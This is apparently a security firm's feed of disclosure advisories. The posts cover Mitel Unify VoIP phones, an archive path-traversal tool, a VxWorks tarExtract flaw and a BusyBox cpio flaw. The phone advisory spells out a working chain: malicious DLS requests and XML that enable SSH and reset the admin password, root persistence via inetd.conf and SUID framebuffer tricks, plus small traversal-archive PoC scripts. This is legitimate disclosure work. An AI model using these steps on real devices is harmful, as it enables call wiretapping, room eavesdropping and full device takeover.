Pentagrid AG (Posts about Exploit)

Remote code execution and elevation of local privileges in Mitel Unify OpenStage and OpenScape VoIP phones

Pentagrid AG — Fri, 08 Dec 2023 05:42:00 GMT

During a research project, Pentagrid identified multiple vulnerabilities in the OpenStage and OpenScape VoIP phone series. The combination of insecure defaults and implementation weaknesses allows a remote compromise and the elevation of privileges for a network-local attacker on phones with an unhardened default configuration. Compromising a phone does not only allow to wiretap phone calls, but could also be abused to access microphones for listening to rooms. The vulnerabilities affect a wide range of devices. Pentagrid assumes that many small companies don't use a hardened configuration and are likely affected.

OpenStage and OpenScape are a phone series brand originally developed by Siemens. In 2013, Siemens' devision for enterprise communication was rebranded to Unify. Unify was sold to Atos in 2016, a company that is the "European number one in cybersecurity". During the coordinated disclosure, Atos sold Unify to Mitel.

OpenStage and OpenScape phones provide an interface, which is named Work Point Interface (WPI). This is a web-based service on the phones, where a client and the WPI exchange XML messages via HTTPS for machine to machine communication. This WPI is accessible via TCP port 8085 on the phone side. If a customer operates a large set of phones, then the the customer likely uses a deployment tool. This is called Deployment Service (DLS) or Deployment Service Light (DLI). Additionally, the phones have a web-based management (WBM) interface on port 80 and 443.

In the default configuration, the Workpoint Interface does not use authentication and the phones do not verify the DLS/DLI. Any deployment tool can connect the phone to send a configuration. The DLS protocol is public and can be found via document sharing platforms under the title "OpenStage / OpenScape Desk Phone IP Provisioning Interface" with the document ID A31003-S2000-R102-16-7620, which was published 2016. This workpoint interface is used here for the initial access. Furthermore, Pentagrid identified local vulnerabilities, which an attacker can use for privilege escalation.

OpenStage and OpenScape phones are Linux-based systems and quite popular in Germany. They are used in banks and public authorities. Getting initial access on OpenStage HFA phones was mentioned in the Vault 7 leak in 2013.

Timeline

2023-08-20: Initial contact of Atos Unify via obso@atos.net.
2023-08-24: Pentagrid provided the preliminary advisory and further details.
2023-08-25: Atos replied that they will work on resolving the issues and inform about the progress.
2023-10-19: Phone call with product security officer about the current status and Atos' adivsory.
2023-10-19: Atos provided a version 0.3 of the advisory to Pentagrid.
2023-10-25: Call with Unify leader of the product managment and product security officer.
2023-11-20: Planned release date according to 90 days period.
2023-11-27: Agreed prolongation of the release date.
2023-12-08: Deferred release date to be in line with the Unify publication.
2023-12-08: Pentagrid published this advisory.
2023-12-08: Unify communicated a delay of the Unify advisory. It is expected for the 2023-12-13.
2023-12-11: Unify publishes OBSO-2312-01. Updated references to the advisory.

1. Unauthenticated WPI allows enabling Secure Shell and resetting admin password

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 8.8 High

Affected Components

Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.

Unify OpenStage 40 Version 3.5.21.0000 (Released: 2020-09-21)
Unify OpenStage 80 Version 3.3.24.0000 (Released: 2014-10-10)
Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)
Unify OpenScape 400 Version 1.9.5.0002
Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)
Unify OpenScape 210 Version 2.0.9.0001
Unify OpenScape 710 Version 2.0.6.0000
Unify OpenScape 710 Version 2.0.11.0000

Summary

By default, the Work Point Interface on the phone does not verify the deployment service and there is no authentication mechanism. Hence, any client implementing a deployment service can connect a phone and change configuration. A remote attacker can enable the Secure Shell feature on the phone by abusing the unauthenticated Workpoint Interface. It is possible to set an attacker-defined password for the admin user, even if there was a password defined. The attacker only has to be in the same network. The WPI is active by default.

Impact

The attacker is able to set the admin user’s password to a defined valued, enable SSH and is able to connect to the phone as user admin.

Technical Details

Each phone has a Work Point Interface enabled. It is a remote management interface and this interface is accessible via the phone’s TCP port 8085. The port uses TLS for encryption. A maintenance tool can connect to a phone’s WPI interface and vice versa a phone can connect a DLS server. An attacker can prompt the phone to contact a malicious DLS server. Therefore, an attacker sends a HTTP GET request to the phone’s web interface using this URL format:

https://TARGETPHONEIP:443/contact_dls.html/ContactDLS?ContactMe=true&dls_ip_addr=MALICIOUSSERVER&dls_ip_port=MALICIOUSPORT

The web interface on port 80 and 443 is enabled by default. It is also possible to send a plain HTTP GET request to the DLS interface on Port 8085:

http://TARGETPHONEIP:8085/contact_dls.html/ContactDLS?ContactMe=true&dls_ip_addr=MALICIOUSSERVER&dls_ip_port=MALICIOUSPORT

The phone then connects to the given DLS server with some configuration information and a nonce value as shown in the following snippet:

POST /DeploymentService/LoginService HTTP/1.1
Host: XXXXXXXX:XXXX
Cookie: PHPSESSID=g75hrag2ksves20dbar471b8v5; path=/
Content-Type: text/xml
Content-Length: 1957
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<WorkpointMessage
     xmlns="http://www.siemens.com/DLS"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="http://www.siemens.com/DLS">
     <Message nonce="D5AFD7A47752175FF354867D94A61AE0" maxItems="-1">
             <ReasonForContact>solicited</ReasonForContact>
             <ItemList>
                     <Item name="device-type">OpenScape Desk Phone CP210</Item>
                     <Item name="related-device-type">OpenScape Desk Phone CP210</Item>
                     <Item name="gigabit-ethernet-enabled">true</Item>
                     […]

The malicious DLS server replies with an XML message that prompts the phone to enable SSH. The nonce value sent by the phone must be included in this XML message. Furthermore, the admin user’s password is forced to an attacker-known value, which is possible within the same message. An example for such a message is given below:

HTTP/1.0 200 OK
Content-length: 323

<DLSMessage>
     <Message nonce="7AA535AE3483E8380B9338C733D6A934">
             <Action>WriteItems</Action>
     </Message>
     <ItemList>
             <Item name="ssh-enable">true</Item>
             <Item name="ssh-password">123456</Item>
             <Item name="ssh-timer-connect">10</Item>
             <Item name="ssh-timer-session">60</Item>
     </ItemList>
</DLSMessage>

The figure below illustrates the message flow.

The attacker can now connect to the phone via a secure shell as an admin user with the password 123456. No authentication was needed to get here.

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oMACs=+hmac-sha1 admin@PHONEIP

In the OpenStage 80 version 2.2.47.0000 it was not possible to enable SSH directly. But using the malicious DLS server an attacker can change the admin password for the web interface of the phone if it was changed from the default password 123456. The process is similar to enabling SSH as seen above, but the content of the item list in the response of the DLS server needs to be changed to the following line.

<Item name="admin-pwd">123456</Item>

Alternatively, an attacker could factory reset the phone via DLS to reset the admin password to 123456 automatically. Therefore, the attacker sends this message as response of the DLS server:

HTTP/1.0 200 OK
Content-length: 244

<DLSMessage>
     <Message nonce="7AA535AE3483E8380B9338C733D6A934">
             <Action>Restart</Action>
     </Message>
     <ItemList>
             <Item name="restart-password">124816</Item>
             <Item name="restart-type">FactoryReset</Item>
     </ItemList>
 </DLSMessage>

Within this message, a factory reset password must be included in the message. It is a documented and publicly known value. A factory reset will reboot the phone.

Having admin access to the web interface, an attacker can now enable SSH as well. If the web interface was disabled, it can be reenabled via a malicious DLS message using the following item.

<Item name="enable-WBM">True</Item>

Precondition

An attacker needs access to the local network and must be able to connect the WPI interface. The phone does not verify the DLS server.

2. Phone does not verify TLS certificate of DLS server per default

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 4.3 Medium

Affected Components

Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.

Unify OpenStage 40 Version 3.5.21.0000 (Released: 2020-09-21)
Unify OpenStage 80 Version 3.3.24.0000 (Released: 2014-10-10)
Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)
Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)
Unify OpenScape 710 Version 2.0.6.0000
Unify OpenScape 710 Version 2.0.11.0000

Summary

The phone does not verify the TLS certificate when connecting to the DLS server, with standard settings.

Impact

This allows man-in-the-middle attackers to spoof a DLS connection. An attackers could also host their own DLS server with an arbitrary certificate. The phone connects to a malicous DLS server and accepts configuration.

Technical Details

During the analysis it has been observed that the phone connects to DLS server, even if the server does not use a certificate that is signed by a trusted certificate authority. Instead, self-signed certificates are accepted. The phone’s debug log in /tmp/logs/messages even logs that it is accepting the certificate.

SvcConfig: Certificate verification error (9:certificate is not yet valid) at depth (0), ssl (0x9c2028)
Sep 29 11:27:34 (none) user.err SvcConfig: Certificate issuer  =C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
[…]
Sep 29 11:27:34 (none) user.debug SvcConfig: isVerificationSuccessful: caPath =
Sep 29 11:27:34 (none) user.notice SvcConfig: Allowed HTTPS Not Yet Valid Certificate: /C=AU/ST=Some-State/O=Internet Widgits Pty Ltd
Sep 29 11:27:34 (none) user.debug SvcConfig: SecureTransportContext::deleteVerifyError for 0x9c2028

The log indicates that certificates is not valid, but allowed.

The phone's web interface defines authentication policies under Security and policies -> Certificates -> Authentication policy, but changing them does not solve the problem described in finding 1 and 2.

Precondition

An attacker needs to prompt the phone to contact a server without a valid certificate. Therefore, the attacker needs to be in the same network as the VoIP phone.

3. Secure Shell privilege escalation to root via writeable files and directories

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, 6.7 Medium

Affected Components

Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.

Unify OpenStage 40 Version 3.5.21.0000 (Released: 2020-09-21)
Unify OpenStage 80 Version 3.3.24.0000 (Released: 2014-10-10)
Unify OpenScape 710 Version 2.0.6.0000
Unify OpenScape 710 Version 2.0.11.0000

Summary

A remote attacker with Secure Shell access as admin user is able to abuse improper file permissions to change system-relevant files.

Impact

An attacker can escalate privileges in order to gain permanent root access on the phone.

Technical Details

For example, the admin user has write access to the /etc/inetd.conf file and can add a script that gets executed with root privileges when the phone starts. In this example, the script test was added to the system and written to /usr/local/bin/.

telnet       stream  tcp     nowait  root    /usr/sbin/telnetd       telnetd
ftp          stream  tcp     nowait  root    /usr/sbin/ftpd          ftpd
test         stream  tcp     nowait  root    /usr/local/bin/test     test

The admin user then creates the following executable /usr/local/bin/test script. The script changes the root user's password and starts the dropbear service without parameters.

#!/bin/sh
/Opera_Deploy/setPasswd.sh root 123456
/usr/sbin/dropbear

In order to reload the inetd config and execute the test script on connect, the phone needs to reboot. The attacker can use a malicious DLS server as described in finding 1 to send the following response.

HTTP/1.0 200 OK
Content-length: 121

<DLSMessage>
     <Message nonce="7AA535AE3483E8380B9338C733D6A934">
             <Action>Restart</Action>
     </Message>
</DLSMessage>

After the reboot, the attacker can permanently connect to the phone via SSH as root. The regular invocation of the Dropbear SSH server uses the -w parameter, which prevents connections for the root user, but here the SSH server is started without this restriction.

The following files have improper file permission, which could be used for privilege escalation:

/usr/sbin/stunnel
/etc/inetd.conf

Depending on the phone's firmware version, there are more files and directories with problematic file permissions. Further above, the directory /usr/local/bin/ was mentioned to be writeable by the default shell user admin. Files in this directory belong the admin user:

$ ls -l /usr/local/
drwxrwxr-x    2 admin    admin          296 Dec 25 02:54 bin
drwxrwxr-x    2 admin    admin          368 Dec 25 02:54 sbin

Depending on the firmware version and model, the directory /usr/local/bin/ is part of the PATH environment variable and this directory has precedence over other directories, for example on an OpenStage 40 SIP:

# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
# echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/Opera_Deploy

Another method for the elevation of privileges is to add a file chpasswd there, which is then executed on password change. This password change can be triggered with the method from finding 1 and there is no need to reboot the phone.

Precondition

An attacker needs SSH access to the phone.

4. Writeable framebuffer

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L, 3.4 Low

Affected Components

Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.

Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)
Unify OpenScape 400 Version 1.9.5.0002
Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)
Unify OpenScape 210 Version 2.0.9.0001
Unify OpenScape 710 Version 2.0.6.0000
Unify OpenScape 710 Version 2.0.11.0000

Summary

An attacker with Secure Shell access as the Linux user admin is able to write into the framebuffer device.

Impact

An attacker can change the display content of the phone. Being able to specify the framebuffer content allows crafting specific content for the attack in finding 5.

Technical Details

Using SSH, the admin user can write arbitrary data into the framebuffer, because the frambuffer device is writeable:

$ ls -l /dev/fb0
crw-rw-rw-    1 root     root       29,   0 Dec 25 04:25 /dev/fb0
$ echo AAAAAAAAAAAAAAAAAAAA > /dev/fb0

An attacker could show false information on the display with a well-crafted and timed payload.

Precondition

An attacker needs code execution permission on the phone, for example via SSH access.

5. OpenScape – Secure Shell Privilege escalation to root via SetUID programs

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, 6.7 Medium

Affected Components

Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.

Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)
Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)
Unify OpenScape 710 Version 2.0.6.0000
Unify OpenScape 710 Version 2.0.11.0000

Summary

An attacker with Secure Shell access as admin user is able to abuse SetUID permissions to change system-relevant files.

Impact

An attacker can escalate privileges in order to gain permanent root access on the phone.

Technical Details

The following files have the SUID bit set:

/sbin/fw_printenv
/Opera_Deploy/appWeb/web/fbshot.exe

The files are owned by the root user and therefore get executed with root privileges even when run by the admin user.

The fbshot.exe creates a screenshot of the display. It takes the content of the framebuffer and creates a BMP file. The /dev/fb framebuffer is used as default, but it is possible to specify another framebuffer device as a parameter. As seen in finding 4, the admin user can write into /dev/fb0. Using the SetUID program fbshot.exe, it is possible to overwrite arbitrary files on the system, which has a Denial of Service effect.

While the output files are BMP files in the first place. However, by carefully crafting a buffer, writing the buffer to the framebuffer and using the framebuffer screenshot tool, is is also possible to write files that are more or less valid script files. As long as the attacker-specified code is run, it does not matter if the script fails with a syntax error afterwards, for example due to unbalanced brackets on a line.

Payloads depend on the frambeuffer size and are therefore device-specific. A possible payload for a CP210 is:

/home/admin/myscript
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)

The attacker creates a file containing this payload, dumps it into the framebuffer and uses the fbshot.exe. Because of its SUID bit, even files belonging to the root user and a privileged group can be overwritten.

cat payload > /dev/fb0 ; /Opera_Deploy/appWeb/web/fbshot.exe /sbin/fw_printenv

The /sbin/fw_printenv file is now a BMP file which includes the payload. The program file's flags and ownership is preserved. The file still has the SetUID bit set. With the specific framebuffer content, the BMP is a valid script and will run /home/admin/myscript. After a reboot the phone executes the /sbin/fw_printenv and in consequence /home/admin/myscript as root. In order to gain permanent root access the myscript file can be defined as follows:

#!/bin/sh
/Opera_Deploy/setPasswd.sh root 123456
dropbear

Using a well-crafted payload and replacing the right files, an attacker might be able to gain root access without a proxy myscript file and without rebooting.

Precondition

An attacker needs code execution permission on the phone, for example via SSH access.

Proof of concept exploit

Pentagrid developed a proof of concept exploit, which is published on Github.

Patches and Workaround

Pentagrid recommends to update to a recent firmware version as documented in Unify's advisory OBSO-2312-01. Furthermore, it is necessary to enable the so-called "secure mode", which activates certificate verification. Just activating all possible certificate checks via the web-based management does not activate the secure mode. It requires to set up a DLS, install a certificate authority, deploy certificates to phones and then to enable the secure mode.

Credits

These vulnerabilities have been found by Michael Oelke and Martin Schobert (Pentagrid).

Archive Pwn tool released

Pentagrid AG — Tue, 03 Oct 2023 15:42:00 GMT

When extracting archive formats there are many things that can go wrong. While some unarchiving tools and libraries protect from malicious archives that include path traversal attacks, other might not or at least not in the default configuration. We wrote a tool to create such archives with path traversal attacks in Python.

Recently we've come across different web applications and embedded devices that allow archive formats such as zips, tars and cpio archives as user input. Therefore, it is always important to check if they are affected by path traversal attacks. If you don't know what we're talking about you might want to read about the zip slip vulnerability or read our explanations in our Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346) advisory.

While there have been tools such as slip and traversal-archives, we had some special use cases. Both tools and our new Archive Pwn tool slightly vary in supported archive formats (zip, tar and cpio here), file formats (tar ustar, gnu tar, cpio newc, etc.) and implemented attacks (simple path traversal, symlink attacks, etc.).

We encountered more complicated parsing routines that required us to create custom archives that already include a certain file structure. The analysed code sometimes unpacked a single file from the archive first and an error was thrown if the file was not present. However, the vulnerable code that would allow us to do a path traversal attack was later in the code. Therefore, we created Archive Pwn that packs an entire folder into the archive before adding the attack payload entry.

Most of the ideas came from looking at old vulnerabilities and specifications or the file formats in a hex editor and then implementing attacks such as maximum Windows path length attacks, unicode normalisation, DoS via very deep directories, including a path traversal in the filename included in .gz files, etc.

Creating a tool that generates as many combinations of attacks as possible was as well important, so the output of the tool can serve as a test collection for unarchiving tools. You can unpack all archives the tool creates and check if you can find a file in a different directory than the unpacking location.

We've also decided to make sure that we copy the tar and zip libraries from Python and slightly modify them, allowing us to implement further non-standard conform attacks in the future. There's an example in the README on the Archive Pwn Github page on how to create your own malicious archives.

The tool release is related to the recent advisories we released for Busybox cpio directory traversal vulnerability (CVE-2023-39810) and Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346), where especially the VxWorks blog post deep-dives into some of the archive vulnerabilities.

Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346)

Pentagrid AG — Tue, 19 Sep 2023 06:00:00 GMT

Today we publish an advisory for a specific function in Wind River's VxWorks operating system.

VxWorks is a real-time operating system used in many embedded devices in high-availability environments with high safety and security requirements. This includes important industrial, medical, airospace, networking and automotive devices. For example, NASA's Curiosity rover currently deployed on planet Mars is using Wind River's VxWorks operating system.

The vulnerability is triggered when VxWorks' tarExtract function is used on untrusted tar archive files. The official VxWorks advisory can be found on the Wind River website.

Summary

Pentagrid identified a vulnerability in VxWorks' tarExtract method affecting at least VxWorks 21.07. The function tarExtract implements tar file extraction and thereby also processes files within an archive that has relative or absolute file names. While end-user tar tools on other platforms usually stop processing an archive if not otherwise forced, the VxWorks' tarExtract proceeds with processing relative or absolute filenames. This is unexpected and also undocumented behaviour, which in general may result in a directory traversal vulnerability.

Impact

If a developer uses tarExtract without additional checks, extracting an untrusted tar file may lead to an overwrite of files outside the current working directory in the filesystem of the VxWorks operating system. If the tar processing runs under elevated privileges, tarExtract may overwrite arbitrary files in a VxWorks environment, which may then lead to a system compromise. In an embedded environment, extracting tar files likely happens during multi-file imports such as data ingestion or software/configuration update. The directory traversal may lead to a verification bypass, if a tar archive is extracted first and the verification of the content happens afterwards.

We rate the issue as a high-severity issue for devices that use the tarExtract function on untrusted user input.

Timeline

2023-06-05: Vulnerability noticed and research into tar behaviour started.
2023-06-21: Initial contact request as requested by Wind River's PSIRT and encrypted with the published PGP key. Communication of coordinated disclosure publication date 2023-09-19.
2023-06-21: Wind River PSIRT replies they can't decrypt the message and asks if we exchanged keys before. Pentagrid replied in a cleartext e-mail that we used the key from Wind River's PSIRT website.
2023-06-21: Pentagrid asks in a cleartext e-mail if they were able to decrypt the message now. No response from Wind River.
2023-06-28: Pentagrid asks in a cleartext e-mail for a status. Pentagrid informs Wind River that if we don't receive a response, we might publish information and will contact local authorities for communication support.
2023-06-28: Wind River is not able to decrypt the message. Wind River proposes to provide Pentagrid's keys in a password protected document and provide the password in a separate document. Alternatively, to send the e-mail unencrypted. Pentagrid resends advisory in an unencrypted e-mail to PSIRT lead. PSIRT lead commits to a monthly status update. Further e-mails only sent to PSIRT lead in cleartext.
2023-06-29: Wind River asks for flexibility on the disclosure deadline. An hour later Wind River asks to ignore the request.
2023-07-15: CVE-2023-38346 was assigned by MITRE.
2023-07-17: Status update by Wind River: Analysis ongoing.
2023-07-17: Wind River asks for a meeting.
2023-07-31: Video call between Pentagrid and Wind River. Wind River rates the vulnerability with a CVSS 3.1 score of 6.5 (Medium). Target version for a fix is 23.09. They are working on updating the documentation and introduce a secure default behavior of tarExtract. A communication plan for customers before coordinated disclosure date is in place.
2023-08-28: Video call between Pentagrid and Wind River, status update.
2023-09-13: Video call between Pentagrid and Wind River, status update.
2023-09-19: Coordinated disclosure, Wind River publishes their adisory.

Affected Components

The issue affects VxWorks' tarExtract method affecting in at least VxWorks 21.07. Pentagrid assumes that all VxWorks versions released before September 2023 are affected.

It is unknown to Pentagrid which or how many embedded devices implement a data ingestion or software/configuration update function by parsing untrusted archives with tarExtract. It is likely that many devices are affected, as there seems to be no other data ingestion functionality available in the VxWorks Kernel API.

CVE-2023-38346 has been assigned to this issue. The official VxWorks advisory can be found on the Wind River website.

Background information

This finding is about different expectations and assumptions when using a tar extraction function. If there is a mismatch regarding the expectations and the actual behaviour, this might lead to a security issue.

First of all, the standard tar utilities present in Linux, FreeBSD and also Busybox will not extract a file from an archive, if the file has an absolute file name or a relative file name outside the unpacking directory. Instead, these tools show a warning. For GNU and BSD tar, the option --absolute-names (-P) must be added to force extraction of such files. For example, one may expect that extracting an archive in the download folder hopefully does not overwrite a user's ~/.bashrc.

Furthermore, if an archive is extracted from the root directory (/), all path names are relative to the root directory. Files and directories may already exist and there is no need to use the pattern ../ to traverse through the filesystem. Usually, software developers expect this behaviour when applications are installed. This should be known by every software developer and can be considered expected behaviour. However, absolute paths and directory traversal paths are not expected behaviour for many software developers as the following security issues illustrate.

There were several vulnerabilities in the past regarding relative file names in tar files, for example:

The last example of Python's tarfile got a CVE-ID assigned, but is still unfixed. Many discussions about this issue can be found on the Internet. At least Python's API documentation highlights a prominent warning. But despite this warning, it seems to violate the principle of least astonishment: A researcher from Trellix rediscovered this issue, wrote a tool for automated code-analysis and estimated that there may be 340,000 repositories at Github vulnerable to the tarfile problem and this despite a documented warning. The Bitbucket and VMware vulnerabilities mentioned above are both based on the tar extractor implementation org.apache.commons.compress.archivers.tar from the Apache Commons Compress library. This library does not have a prominent warning and obviously expectations on who must take care of what failed there, too.

Bitbucket (CVE-2019-3397), Zimbra (CVE-2022-41352), vCenter (CVE-2021-21972) have CVSS Base Score beyond 9.0, implicating a critical severity. The last two vulnerabilities were added to CISA's Known Exploited Vulnerabilities Catalog. That means there is a good reason, why even a documented but unexpected behaviour becomes a problem, especially in security-critical environments.

While the above list is about tar archives, the same problem exists for many archive formats, for example:

Technical Details

Extracting untrusted user-supplied tar files in an embedded device is part of a user-friendly way to implement a multi-file import such as data ingestion or software/configuration update. The device allows tar import instead of multiple files, to simplify the process for the user. At the same time, overwriting or adding an attacker-supplied file to a file system might lead to direct remote command execution vulnerability (e.g. by overwriting an application binary that includes executable code). Therefore, many implementations of software/configuration update functions in commercial products verify the supplied files (e.g. by using cryptographic signatures). But these signatures have to be stored somewhere and therefore are usually included in the tar file. As tar file extraction therefore has to happen in a first step (to extract the cryptographic signature and the update files) and before any content is verified, the current behaviour of tarExtract allows to bypass such verification steps as well.

Documentation and source code at least for VxWorks 5.5 and 6.6 does not mention required steps to process a tar file in order to prevent vulnerabilities. It does not include warnings for the tarExtract function and that it shouldn't be applied to untrusted tar files. It also does not include a guide on how a multi-file import, such as data ingestion or software/configuration update via a single archive file (zip, tar, etc.), could be securely implemented. Tar is the only archive format currently supported according to the VxWorks Kernel API documentation.

Therefore, Pentagrid assumes that many current implementations of data ingestion or software/configuration update functions in devices with VxWorks have this vulnerability.

As privilege separation via different users in VxWorks was only recently introduced, it is possible that current implementations do not already use this feature. Therefore, it is possible that data ingestion or software/configuration update functions do not protect themself by using different users and access permissions on the operating system level.

As VxWorks tarToc function only prints to standard output, software developers would need to write custom parsers to check that the tar contents are safe to unpack. This introduces undesired complexity and dependency on the tarToc output format not changing between VxWorks versions.

Exploitation of the tarExtract issue can be achieved by supplying a crafted tar file. For creating such a tar file, Pentagrid used a simple script based on the Python version 3 tarfile library, which is flexible regarding the handling of relative file names as mentioned earlier. The used script is shown below:

#!/usr/bin/env python3
#
# The author of this code is not responsible for any damage caused by the use
# or misuse of this PoC exploit. This PoCs is intended for educational and
# research purposes only, and should never be used to target or exploit systems
# without explicit permission from the owner.
#
import tarfile
import os
with open("emptyfile", "wb") as f:
    f.write(b"Just a test")
tar_out = tarfile.open("example.tar", "w", format=tarfile.GNU_FORMAT)
tar_out.add("emptyfile", arcname="../TRAVERSAL")
tar_out.close()
os.remove("emptyfile")

Precondition

Program code that passes an untrusted tar file to the VxWorks tarExtract function has to be present, meaning the developers must have been unaware of the implications of unpacking untrusted tar files.

Recommendation

User recommendation:

To apply the patch/update supplied by Wind River.
It is recommended to do integrity/authenticity checks (e.g. cryptographic signature checks) on the tar file before it is extracted to make sure it is of trusted origin where possible. We are aware that in practice this is not user friendly as the signature would need to be stored separately in another file next to the tar file. It might be feasible to append the signature to the tar file and remove it before checking the tar, but this could result in non-standard tar files.
It is recommended to check tar file contents by using a third-party library or custom code. It is not reommended to use the VxWorks tarToc kernel function as it will only print to stdout, which makes it impractical for further processing.

The original recommendations for Wind River were:

It is recommended to implement file name filtering to follow the best-practise of simplifying safe and secure library usage, while improper use of a library should be made more difficult, for example by adding an explicit force parameter to process insecure filenames.
It is recommended to add a clear statement in the documentation and API reference documentation if tarExtract is safe to be used with untrusted tar files or not.
It is recommended to consider how customers of Wind River could be supported in the future by providing more high-level APIs that provide secure data ingestion or software/configuration update functions that include signature checks.
It is recommended to inform Wind River's customers about the vulnerability.

Credits

The vulnerability has been found by Tobias Ospelt and Martin Schobert of Pentagrid. Pentagrid would like to thank Wind River for the support during the coordinated disclosure process.

Busybox cpio directory traversal vulnerability (CVE-2023-39810)

Pentagrid AG — Mon, 28 Aug 2023 09:00:00 GMT

When extracting cpio archives with BusyBox cpio, the cpio archiving tools may write files outside the destination directory and there is no option to prevent this.

Summary

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L, 6.1 Medium

cpio is an archive format and also an archive handling tool. Several implementations exist, for example GNU cpio, bsdcpio, and BusyBox cpio. The BusyBox variant of cpio has been found to extract archives that contain relative file names with a ../ traversal pattern and this cannot be prevented.

While bsdcpio ignores archived files that have absolut file names or contain ../ and GNU cpio has a parameter to prevent extracting these file names, BusyBox processes archives with such names and there is no parameter to handle potentially untrusted archives.

Impact

If untrusted archives are extracted, this may result in writing files outside the destination directory. This could result in files being overwritten that contain configuration in form of shell scripts such as ~/.bashrc or that enable a login from a remote side such as the ~/.ssh/authorized_keys file.

Timeline

2023-07-24: Vulnerability noticed.
2023-07-26: Initial contact of BusyBox maintainer via e-mail.
2023-08-01: Second try to contact BusyBox maintainer via e-mail. First try to contact developer of the module, but e-mail bounced. First contact to Debian security team, because BusyBox package is available via Debian packages.
2023-08-24: CVE-2023-39810 was assigned.
2023-08-28: Advisory published after not being able to get in contact with maintainer or developer.
2024-08-20: A patch was published that is not yet part of Busybox. See section Patches and Workaround.

Affected Components

The issue affects BusyBox cpio in multiple versions on different platforms. Pentagrid tested the following versions and could successfully reproduce the issue.

BusyBox v1.33.2
BusyBox v1.30.1

Technical Details

The processing of relative and absolute file names could result in risks. For example the GNU cpio program was affected by the same vulnerability, referenced as "CVE-2005-1229 - Directory traversal vulnerability in cpio 2.6 and earlier allows remote attackers to write to arbitrary directories via a .. (dot dot) in a cpio file." A patch was developed and added to cpio 2.6-6, which requires an additional parameter --no-absolute-filenames to prevent files being overwritten. This option also works for relative file names with ../ pattern. This is still an insecure default, but an improvement. However, some distributions seems to have reverted the patch.

BusyBox cpio is another implementation and it has no mechanism to avoid the processing of relative files with ../ pattern as shown with the proof of concept below:

#!/bin/sh

set -e

echo + Clean-up
rm -rf /tmp/testcase

echo + Create a test archive
mkdir -p /tmp/testcase/a/b/
echo test > /tmp/testcase/testfile

cd /tmp/testcase/a/b/
(echo ../../testfile; echo /etc/hostname) | cpio -ov -H newc -O /tmp/testcase/a/b/archive.cpio --quiet
rm /tmp/testcase/testfile

echo + Extract archive
mkdir /tmp/testcase/a/b/etc
strace -f busybox cpio -iv < archive.cpio 2>&1 | grep 'hostname\|testfile' | grep -v read

echo + List files
find /tmp/testcase/

The final find command lists extracted files:

/tmp/testcase/
